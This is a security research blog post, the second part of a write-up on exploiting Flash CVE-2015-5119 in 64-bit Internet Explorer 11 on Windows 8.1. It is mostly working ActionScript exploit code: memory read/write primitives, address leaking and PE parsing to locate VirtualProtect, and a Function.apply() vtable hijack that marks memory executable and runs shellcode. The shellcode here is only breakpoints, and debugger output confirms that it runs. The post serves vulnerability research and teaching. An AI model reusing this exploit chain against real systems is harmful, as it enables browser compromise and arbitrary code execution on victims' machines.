Last updated at Tue, 16 Jan 2024 15:56:35 GMT

This post is a continuation of Exploiting a 64-bit browser with Flash CVE-2015-5119 , where we explained how to achieve arbitrary memory read/write on a 64-bit IE renderer. As a reminder, we are targeting Windows 8.1 / IE11 (64 bits) with Flash 15.0.0.189. Of course, this write-up may contain a few errors, so your mileage may vary =)

Where we left off before, we had created an interface to work with memory by using a corrupted Vector. and a ByteArray whose metadata is reachable from the vector. In order to make it easier to experiment with memory access using the mentioned objects, we extend the interface already introduced in the Part 1:

private function set_ba_length(new_length:uint):void {  
  uv[ba_pos + 2] = new_length  
  uv[ba_pos + 3] = new_length  
}  
  
private function set_ba_array(ptr:Address64):void {  
  uv[ba_pos] = ptr.lo  
  uv[ba_pos + 1] = ptr.hi  
}  
  
private function restore_ba():void {  
  set_ba_array(ba_orig_array)  
  set_ba_length(0x3f8)  
}  
  
public function ba_read(addr:Address64):uint {  
  set_ba_array(addr)  
  ba.position = 0  
  return ba.readUnsignedInt()  
}  
  
public function ba_read_word(addr:Address64):uint {  
  set_ba_array(addr)  
  ba.position = 0  
  return ba.readUnsignedShort()  
}  
  
public function ba_write(addr:Address64, val:uint):void {  
  set_ba_array(addr)  
  ba.position = 0  
  ba.writeUnsignedInt(val)  
}  
  
public function ba_read_addr(addr:Address64):Address64 {  
  var hi, lo:uint  
  
  set_ba_array(addr)  
  ba.position = 0  
  lo = ba.readUnsignedInt()  
  hi = ba.readUnsignedInt()  
  return new Address64(lo, hi)  
}  
  
public function ba_write_addr(addr:Address64, val:Address64):void {  
  set_ba_array(addr)  
  ba.position = 0  
  ba.writeUnsignedInt(val.lo)  
  ba.writeUnsignedInt(val.hi)  
}  
  
public function read_string(addr:Address64, length:uint = 0):String  
{  
  set_ba_array(addr)  
  ba.position = 0  
    if (length == 0)  
        return ba.readUTFBytes(MAX_STRING_LENGTH)  
    else  
        return ba.readUTFBytes(length)  
}  

We now have two goals, which we will detail more below:

  1. Leaking memory addresses, finding the objects necessary for exploitation and disclose any necessary addresses.
  2. Execute our payload, while accounting ASLR\DEP protections.

Leaking Memory Addresses

There is nothing new about leaking arbitrary object addresses. We are going to re-use the same technique as with the original 32bits flash_exploiter library. The trick is to use a Vector.<Object> reachable from the corrupted Vector.<uint>, storing the objects whose addresses we need to leak. The "spray" of ByteArray's and Vector.<Object> looks like this:

private var defrag:Vector.<Object> = new Vector.<Object>(750)  
private var ov:Vector.<Object> = new Vector.<Object>(2048)  
  
  
for (var i:uint = 0; i < defrag.length; i++) {  
  defrag[i] = new Vector.<uint>(250)  
}  
  
  
for (var i:uint = 0; i < ov.length; i++) {  
  if (i % 2 == 0) {  
  ov[i] = new ByteArray()  
  ov[i].length = 0x3f8  
  ov[i].position = 0  
  ov[i].endian = "littleEndian"  
  ov[i].writeUnsignedInt(0xdeedbeef)  
  } else {  
  ov[i] = new Vector.<Object>(0x3f6)  
  ov[i][0] = this  
  ov[i][1] = payload_space  
  ov[i][2] = Magic  
  }  
}  

The Vector.<Object> is then used to disclose three objects:

  • this: used to leak a flash pointer. We could possibly use other object, but I'm just reusing old code.
  • payload_space: a Vector., which we will use to store any fake objects required for exploitation, and the payload to execute.
  • Magic: a Function object. We will use this to achieve clean code execution, without requiring a ROP chain.

By leaking the "this" object, it is straightforward to leak its vtable, which is a Flash library pointer. We can use this to disclose where the Flash dll is loaded into memory. With the ability to navigate the import and export tables of loaded DLL's, we can then determine any method address. In our example, we are going to leak the kernel32#VirtualProtect address. In the meantime here an extract of the address-leaking code:

this_addr = ba_read_addr(vector_object_addr.offset(8))  
this_addr.lo = this_addr.lo - 1  
Logger.log("[*] 'this' found at " + this_addr.toString())  
/* Leak flash and VirtualProtect */  
flash_ptr = ba_read_addr(this_addr)  
Logger.log("[*] Flash ptr to " + flash_ptr.toString())  
var pe:PE64 = new PE64(this)  
var flash:Address64 = pe.base(flash_ptr)  
Logger.log("[*] Flash base " + flash.toString())  
var winmm:Address64 = pe.module('winmm.dll', flash)  
Logger.log("[*] winmm base " + winmm.toString())  
var kernel32:Address64 = pe.module('kernel32.dll', winmm)  
Logger.log("[*] kernel32 base " + kernel32.toString())  
var virtualprotect:Address64 = pe.procedure("VirtualProtect", kernel32)  
Logger.log("[*] virtualprotect: " + virtualprotect.toString())  

And the PE64 class used to navigate a loaded DLL:

package  
{  
    public class PE64  
    {  
        private var eba:Exploiter64  
  
        public function PE64(ba:Exploiter64)  
        {  
            eba = ba  
        }  
  
        public function base(addr:Address64):Address64  
        {  
            var partial:Address64 = new Address64(addr.lo & 0xffff0000, addr.hi)  
            while (true) {  
                if (eba.ba_read(partial) == 0x00905a4d) return partial  
                partial = partial.offset(-0x1000)  
            }  
         
            throw new Error()  
        }  
  
        public function module(name:String, addr:Address64):Address64  
        {  
            var i:uint = 0  
            var nt_hdr_offset:uint = eba.ba_read(addr.offset(0x3c))  
            var pe:Address64 = addr.offset(nt_hdr_offset)  
            var iat_dir:Address64 = pe.offset(0x90)  
            var iat:Address64 = new Address64(addr.lo + eba.ba_read(iat_dir), addr.hi)  
            var iat_length:uint = eba.ba_read(iat_dir.offset(4))  
            var mod_name:String  
            var iat_entry:Address64  
            var iat_name:Address64  
            var iat_fnc:Address64  
            while (i < iat_length) {  
                 iat_entry = iat.offset(i * 0x14)  
                 iat_name = new Address64(eba.ba_read(iat_entry.offset(0xc)) + addr.lo, addr.hi)  
                 iat_fnc = new Address64(eba.ba_read(iat_entry.offset(0x10)) + addr.lo, addr.hi)  
                mod_name = eba.read_string(iat_name, name.length)  
                if (mod_name.toUpperCase() == name.toUpperCase()) {  
                      return base(eba.ba_read_addr(iat_fnc))  
                 }  
                 i = i + 1  
            }  
  
            throw new Error('FAIL!')  
        }  
  
        public function procedure(name:String, addr:Address64):Address64  
        {  
            var nt_hdr_offset:uint = eba.ba_read(addr.offset(0x3c))  
            var pe:Address64 = addr.offset(nt_hdr_offset)  
            var eat_dir:Address64 = pe.offset(0x88)  
            var eat:Address64 = new Address64(addr.lo + eba.ba_read(eat_dir), addr.hi)  
            var eat_length:uint = eba.ba_read(eat_dir.offset(4))  
            var numberOfNames:uint = eba.ba_read(eat.offset(0x18))  
            var addressOfFunctions:Address64 =  new Address64(eba.ba_read(eat.offset(0x1c)) + addr.lo, addr.hi)  
            var addressOfNames:Address64 = new Address64(eba.ba_read(eat.offset(0x20)) + addr.lo, addr.hi)  
            var addressOfNameOrdinals:Address64 = new Address64(eba.ba_read(eat.offset(0x24)) + addr.lo, addr.hi)  
            var proc_name:String  
            var entry:Address64  
            var i:uint = 0  
  
            while (i < numberOfNames) {  
                 entry = new Address64(addr.lo + eba.ba_read(addressOfNames.offset(i * 4)), addr.hi)  
                proc_name = eba.read_string(entry, name.length)  
                if (proc_name.toUpperCase() == name.toUpperCase()) {  
                      var function_offset:uint = eba.ba_read_word(addressOfNameOrdinals.offset(i * 2)) * 4  
                      var address_of_function:Address64 = new Address64(addr.lo + eba.ba_read(addressOfFunctions.offset(function_offset)), addr.hi)  
                      return address_of_function  
                 }  
  
                 i = i + 1  
            }  
  
  
            throw new Error('FAIL!')  
        }  
    }  
}  

Payload Execution

Now we will describe how to achieve arbitrary code execution with a user-specified payload. In order to do this, we need executable and writable memory where we can write our shellcode and then execute it. To do this with DEP in place, we normally use a ROP chain. And in order to bypass ASLR, ideally we need the ability to generate the chain dynamically. This means searching for the required gadgets in memory.

The CVE-2015-5119 exploit, by Vitaly Toropov, uses an interesting method to achieve clean code execution without a ROP chain. The idea is this:

  • Use a Vector. data space to store the shellcode and leak the address where data is going to be stored.
  • Call VirtualProtect() on the data space address to make the memory executable.

So, how do we call VirtualProtect() without a chain? Vitaly's method consists on hijacking the Method.apply() call to execute arbitrary (native) methods with controlled arguments and return cleanly to the ActionScriopt code. Let's review to the native code of Method.apply():

    /** 
     * Function.prototype.apply() 
     */  
    Atom FunctionObject::AS3_apply(Atom thisArg, Atom argArray)  
    {  
        thisArg = get_coerced_receiver(thisArg);  
  
        // when argArray == undefined or null, same as not being there at all  
        // see Function/e15_3_4_3_1.as  
  
        if (!AvmCore::isNullOrUndefined(argArray))  
        {  
            AvmCore* core = this->core();  
  
            // FIXME: why not declare argArray as Array in Function.as?  
            if (!AvmCore::istype(argArray, ARRAY_TYPE))  
                toplevel()->throwTypeError(kApplyError);  
  
            return core->exec->apply(get_callEnv(), thisArg, (ArrayObject*)AvmCore::atomToScriptObject(argArray)); // HIJACKED CALL  
        }  
        else  
        {  
            AvmAssert(get_callEnv() != NULL);  
            return get_callEnv()->coerceEnter(thisArg);  
        }  
    }  

The trick consists in hijacking the core->exec->apply(get_callEnv(), thisArg, (ArrayObject*)AvmCore::atomToScriptObject(argArray)); call and its arguments. To understand the details, we need to review the assembly code behind this call:


.text:00000001808C1455 loc_1808C1455:  
.text:00000001808C1455 mov     rax, [rbx]  
.text:00000001808C1458 lea     rdx, [rsp+58h+var_30]  
.text:00000001808C145D mov     rcx, rbx  
.text:00000001808C1460 call    qword ptr [rax+120h] ; getCallEnv()  
.text:00000001808C1466 mov     rcx, [rsi+108h]  
.text:00000001808C146D and     rdi, 0FFFFFFFFFFFFFFF8h  
.text:00000001808C1471 mov     r10, [rcx]  
.text:00000001808C1474 mov     rdx, [rax]  
.text:00000001808C1477 mov     r9, rdi  
.text:00000001808C147A mov     r8, rbp  
.text:00000001808C147D call    qword ptr [r10+30h] ; core->exec->apply()  

As you have probably guessed, in order to hijack the core->exec->apply() call, there are several objects involved. First, we need to figure out how to reach the "core" (AvmCore) element. In the above assembly source, it is done with AvmCore* core = this->core();. The ScriptObject::core() called method looks like this:

REALLY_INLINE AvmCore* ScriptObject::core() const  
{  
    return vtable->traits->core;  
}  

The assembly code to access the "core" object from a FunctionObject will be inlined, and looks like this (the offsets are the important part to understand the hijack and the exploitation):

00000001808C140D mov     rbx, rcx       ; MethodObject  
00000001808C141F mov     rcx, [rbx+10h] ; vtable  
00000001808C1428 mov     rdx, [rcx+28h] ; traits  
00000001808C142F mov     rsi, [rdx+8]   ; core  

From the "core" object, we then need to access the "exec" (ExecMgr) object, and finally the position of the "apply()" method on its vtable. The assembly code looks like this:

00000001808C1466 mov     rcx, [rsi+108h]     ; exec  
00000001808C1471 mov     r10, [rcx]          ; exec vtable  
00000001808C147D call    qword ptr [r10+30h] ; apply() call  

Awesome! With this information we should be able to fake our own "exec" object, its vtable, and hijack the original "core" object!

Now, let's review how to hijack the arguments. If you remember, we are trying to hijack the call with Kernel32!VirtualProtect. Let's examine the prototype for VirtualProtect:

 BOOL WINAPI VirtualProtect(   _In_  LPVOID lpAddress,   _In_  SIZE_T dwSize,   _In_  DWORD  flNewProtect,   _Out_ PDWORD lpflOldProtect ); 

There are 4 arguments to control, and given the 64-bit x86 calling convention, that means that there are 4 registers to control:

  1. lpAddress: ecx
  2. dwSize: edx
  3. flNewProtect: r8
  4. lpflOldProtect: r9

Perfect! Let's revisit the assembly code that set up the registers and makes the core->exec->apply() call:

BOOL WINAPI VirtualProtect(  
  _In_  LPVOID lpAddress,  
  _In_  SIZE_T dwSize,  
  _In_  DWORD  flNewProtect,  
  _Out_ PDWORD lpflOldProtect  
);  
  • rcx is the pointer to the "exec" object. By faking own object in memory, we should be able to hijack it. The payload should live in the same allocation where we are storing our fake object for the hijack. This is not a problem at all. Remember, we're using a Vector.'s space to store all this information, and we can make it as big as we need
  • rdx comes from a dereference of the memory pointed by rax. Where does rax come from? It is the result of the "get_callEnv()" call, whose assembler is similar to the next snippet, where "rcx" points to the FunctionMethod Object:
.text:00000001808C1466 mov     rcx, [rsi+108h]  
.text:00000001808C146D and     rdi, 0FFFFFFFFFFFFFFF8h  
.text:00000001808C1471 mov     r10, [rcx]  
.text:00000001808C1474 mov     rdx, [rax]  
.text:00000001808C1477 mov     r9, rdi  
.text:00000001808C147A mov     r8, rbp  
.text:00000001808C147D call    qword ptr [r10+30h] ; core->exec->apply()  

By controlling the field (8 bytes) at the offset 0x38 of the MethodObject, we should be able to control the second argument.

  • r8 comes from rbp, which stores the result of the "thisArg = get_coerced_receiver(thisArg);" call. The assembly code of get_coerced_receiver is similar to the next snippet, where "rcx" points to the FunctionMethod object:
avm!avmplus::FunctionObject::get_callEnv [c:\avmplus-vs2010\core\functionclass.h @ 70]:  
  70 00007ff7`c8aad740 488b4138 mov rax,qword ptr [rcx+38h]  
  70 00007ff7`c8aad744 488902 mov qword ptr [rdx],rax  
  70 00007ff7`c8aad747 488bc2 mov rax,rdx  
  70 00007ff7`c8aad74a c3 ret  

By controlling the field (8 bytes) at the offset 0x40 of the MethodObject, we should be able to control the third argument.

  • r9 comes from rdi, which stores the result of (<span>ArrayObject</span>*)<span>AvmCore</span>::<span>atomToScriptObject</span>(argArray). By calling Function.apply() with a valid array of args from AS, we should already have a pointer to r/w memory here, so there is nothing special to do to in order to provide a correct fourth argument.

So far so good! We can use the code as follows to leak the required objects, create our fake "exec" and hijack the required fields, and call kernel32!VirtualProtect with controlled arguments, providing executable permissions to the memory where we'll store the payload later:

payload_space_object = ba_read_addr(vector_object_addr.offset(16))  
payload_space_object.lo = payload_space_object.lo - 1  
Logger.log("[*] payload_space_object found at " + payload_space_object.toString())  
  
payload_space_data = ba_read_addr(payload_space_object.offset(0x30))  
payload_space_data.lo = payload_space_data.lo + 0x10  
Logger.log("[*] payload_space_data found at " + payload_space_data.toString())  
  
magic = ba_read_addr(vector_object_addr.offset(24))  
magic.lo = magic.lo - 1  
Logger.log("[*] magic found at " + magic.toString())  
  
vtable = ba_read_addr(magic.offset(0x10))  
Logger.log("[*] vtable found at " + vtable.toString())  
traits = ba_read_addr(vtable.offset(0x28))  
Logger.log("[*] traits found at " + traits.toString())  
core = ba_read_addr(traits.offset(0x8))  
Logger.log("[*] core found at " + core.toString())  
exec = ba_read_addr(core.offset(0x108))  
Logger.log("[*] exec found at " + exec.toString())  
exec_vtable = ba_read_addr(exec)  
Logger.log("[*] exec_vtable found at " + exec_vtable.toString())  
  
// Copy the exec object to payload_space  
/* 8 bytes before the exec objec to survive the next call: 
* .text:0000000180896903 mov     rax, [r9+108h] 
* .text:000000018089690A test    rax, rax 
* .text:000000018089690D jz      short loc_180 
* .text:000000018089690F lea     rcx, [rax-8] 
* .text:0000000180896913 jmp     short loc_180896917 
* .text:0000000180896917 loc_180896917: 
* .text:0000000180896917 mov     r9, [rbx+18h] 
* .text:000000018089691B mov     rax, [rcx]      ; rcx => it's magic  it shouldn't be corrupted so why???? 
* .text:000000018089691E mov     r8, [r9+8] 
* .text:0000000180896922 mov     r9, [r9+10h] 
* .text:0000000180896926 mov     r8, [r8+8] 
* .text:000000018089692A call    qword ptr [rax+10h] 
*/  
for (var j:int = -2; j < 0x140; j++) {  
  payload_space[j + 2] = ba_read(exec.offset(j * 4))  
}  
  
// Copy the exec_vtable to payload_space  
for (i = 0x142; i < 0x142 + (228 / 4); i++) {  
  payload_space[i] = ba_read(exec_vtable.offset((i - 0x142) * 4))  
}  
  
// Tweak fake "apply()" vtable entry  
ba_write_addr(payload_space_data.offset(0x508 + 0x30), virtualprotect)  
  
// Link fake exec to fake exec vtable  
ba_write_addr(payload_space_data.offset(8), payload_space_data.offset(0x508))  
  
// Install our fake "exec" object  
ba_write_addr(core.offset(0x108), payload_space_data.offset(8))  
  
// Install our fake "arg1"  
var arg1:Address64 = ba_read_addr(magic.offset(0x38))  
ba_write_addr(magic.offset(0x38), new Address64(payload_space.length * 4, 0))  
  
// Install our fake "arg2"  
var arg2:Address64 = ba_read_addr(magic.offset(0x40))  
ba_write_addr(magic.offset(0x40), new Address64(0x40, 0))  
  
// Arg0  
var args:Array = new Array(4) // Should be good enough to control arg0  
  
Logger.log('[*] Execte VirtualProtect')  
  
Magic.apply(null, args)  

Since we have the ability to return back to the AS3 code, we can now store our shellcode in the Vector. whose data has been done executable, and provide control by using the Function.apply() hijack again. In this case our shellcodes are just software breakpoint opcodes:

ba_write_addr(magic.offset(0x38), arg1)  
ba_write_addr(magic.offset(0x40), arg2)  
ba_write_addr(core.offset(0x108), exec)  
  
Logger.log("Looks good:\n" +  
  "                   'this' addr: " + this_addr.toString() + "\n" +  
  "     payload_space_object addr: " + payload_space_object.toString() + "\n" +  
  "       payload_space_data addr: " + payload_space_data.toString() + "\n" +  
  "                    magic addr: " + magic.toString() + "\n")  
  
for (i = 0; i < 504; i++) {  
  payload_space[i] = 0  
}  
  
for (i = 0; i < 228 / 4; i++) {  
  payload_space[i] = ba_read(exec_vtable.offset(i * 4))  
}  
  
payload_space[500] = 0xcccccccc  
  
ba_write_addr(payload_space_data.offset(0x30), payload_space_data.offset(500 * 4))  
ba_write_addr(exec, payload_space_data)  
  
Logger.log('Execute dummy payload')  
Magic.apply(null, args)  

Running Flash under a debugging target allows us to intercept where our "shellcode" is executed:

(960.15e4): Break instruction exception - code 80000003 (first chance)  
00007ff7`5aa6a7e0 cc              int     3  
0:023> r  
rax=000000ef544daaf8 rbx=00007ff75bc1c0e0 rcx=00007ff75b9540d8  
rdx=00007ff75be31d58 rsi=00007ff75b93b000 rdi=00007ff75be94650  
rip=00007ff75aa6a7e0 rsp=000000ef544daac8 rbp=00007ff75bc132c1  
r8=00007ff75bc132c1  r9=00007ff75be94650 r10=00007ff75aa6a010  
r11=00007ffc6eda2848 r12=000000ef544dafc8 r13=00007ff75b93b000  
r14=00007ff75be31f38 r15=0000000000000018  
iopl=0         nv up ei pl nz na po nc  
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000204  
00007ff7`5aa6a7e0 cc              int     3  
0:023> !address rip  
Usage:                  <unknown>  
Base Address:           00007ff7`5aa6a000  
End Address:            00007ff7`5aa84000  
Region Size:            00000000`0001a000  
State:                  00001000 MEM_COMMIT  
Protect:                00000040 PAGE_EXECUTE_READWRITE  
Type:                   00020000 MEM_PRIVATE  
Allocation Base:        00007ff7`5a770000  
Allocation Protect:     00000001 PAGE_NOACCESS  

The Function.apply() hijack method is a nice way to prepare the memory, install the shellcode and execute it. It is also cleaner than a rop chain, at least if the MethodObject layout is stable over Flash versions!

You can find the updated code for this exercise on the same repository introduced in Part 1: jvazquez-r7/CVE-2015-5119 · GitHub. We have a pending update to the metasploit module supporting 64-bit targets, but there is some "magic" to finish and now is time for DEFCON! By the way, feel free to reach out if you plan to be around DEFCON, as I would like to discuss software security-related topics (or others!) =) In the meanwhile, feel free to grab the code from the github repository to play around with it. Feedback is of course welcome and appreciated